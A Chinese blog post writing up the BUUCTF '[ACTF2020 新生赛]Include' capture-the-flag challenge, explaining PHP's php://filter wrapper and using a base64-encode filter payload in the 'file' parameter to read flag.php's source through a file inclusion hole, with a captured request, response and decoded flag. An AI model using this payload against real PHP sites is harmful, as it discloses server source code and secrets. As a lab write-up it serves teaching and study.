

#每日一题 BUUCTF-[ACTF2020 新生赛]Include

原创

WHU_zhe 于 2021-04-14 00:33:08 发布 65 收藏

分类专栏: # BUUCTF CTF 文章标签: php filter 安全漏洞

版权声明: 本文为博主原创文章, 遵循 CC 4.0 BY-SA 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/you748913833/article/details/115683384>

版权



[BUUCTF 同时被 2 个专栏收录](#)

2 篇文章 0 订阅

订阅专栏



[CTF](#)

2 篇文章 0 订阅

订阅专栏

BUUCTF-[ACTF2020 新生赛]Include

基础知识: `php://filter`

`php://filter` 可以作为一个中间流来处理其他流, 具有四个参数:

名称	描述	备注
<code>resource=<要过滤的数据流></code>	指定了你要筛选过滤的数据流	必选
<code>read=<读链的筛选列表></code>	可以设定一个或多个过滤器名称, 以管道符 () 分隔	可选
<code>write=<写链的筛选列表></code>	可以设定一个或多个过滤器名称, 以管道符 () 分隔	可选
<code><; 两个链的筛选列表></code>	任何没有以 <code>read=</code> 或 <code>write=</code> 作前缀的筛选器列表会视情况应用于读或写链	

如下方代码所示:

```
<?php
#这里没有指定过滤器
readfile("php://filter/resource=example.etc");
?>
```

以上的代码将会通过中间流输出对应的 `example.etc` 文件的内容

```
<?php
readfile("php://filter/read=convert.base64-encode/resource=example.etc");
readfile("php://filter/read=string.toupper/resource=example.etc");
readfile("php://filter/read=string.toupper|string.rot13/resource=example.etc");
?>
```

以上三行代码分别会实现这些功能：（1）将对应的文件进行base64编码之后输出（2）将对应的文件转换为大写后输出（3）将对应的文件转换为大写并且使用rot13编码后输出

回到问题本身，我们的目的是读取 `flag.php` 的源码，但是在url中直接对该文件进行访问无法得到结果，估计是后台将该文件的源码进行了执行，而并非将文件源码输出

同时文件名的提交方式为get，所以我们猜测后台中有文件包含漏洞，需要想办法得到对应文件的源码，所以采用 `php://filter`，将文件 `flag.php` 进行base64编码之后输出，提交的payload为：

?file=php://filter/read=convert.base64-encode/resource=flag.php，所得到的返回值如下图所示：

The screenshot shows the Burp Suite interface with a request and response view. The request is a GET to `http://c83a1b41-4f0b-46bf-b5ec-1407f734cae8.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php`. The response is an HTTP 200 OK with a meta charset attribute and a long base64-encoded string.

```
Request
GET /?file=php://filter/read=convert.base64-encode/resource=flag.php HTTP/1.1
Host: c83a1b41-4f0b-46bf-b5ec-1407f734cae8.node3.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.75
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://c83a1b41-4f0b-46bf-b5ec-1407f734cae8.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ko;q=0.5
Cookie: UM_distinctid=178c8a3d5bf4b0-03061067217d82-71667960-144000-178c8a3d5c0e8d
Connection: close

Response
HTTP/1.1 200 OK
Server: openresty
Date: Tue, 13 Apr 2021 16:06:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.13
Content-Length: 138

<meta charset="utf8">
PD9QSFARUNYAiQ0FOIFIPVSBGSU5EIE9VVCBUSEUgRkxBRz8iOwovL0ZMQUd7MjAyOEJCOTQtMjczR
i00RkYyLUE0MEYiNDREMjBDNkJKERkM5fQo=
```

将该返回值进行base64解码得到flag

```
<?php
echo "Can you find out the flag?";
//flag{2028bb94-273f-4ff2-a40f-44d20c6bdfc9}
```

查看源码发现的确是对这个 `flag.php` 进行了执行，但是我们需要flag却是在注释之中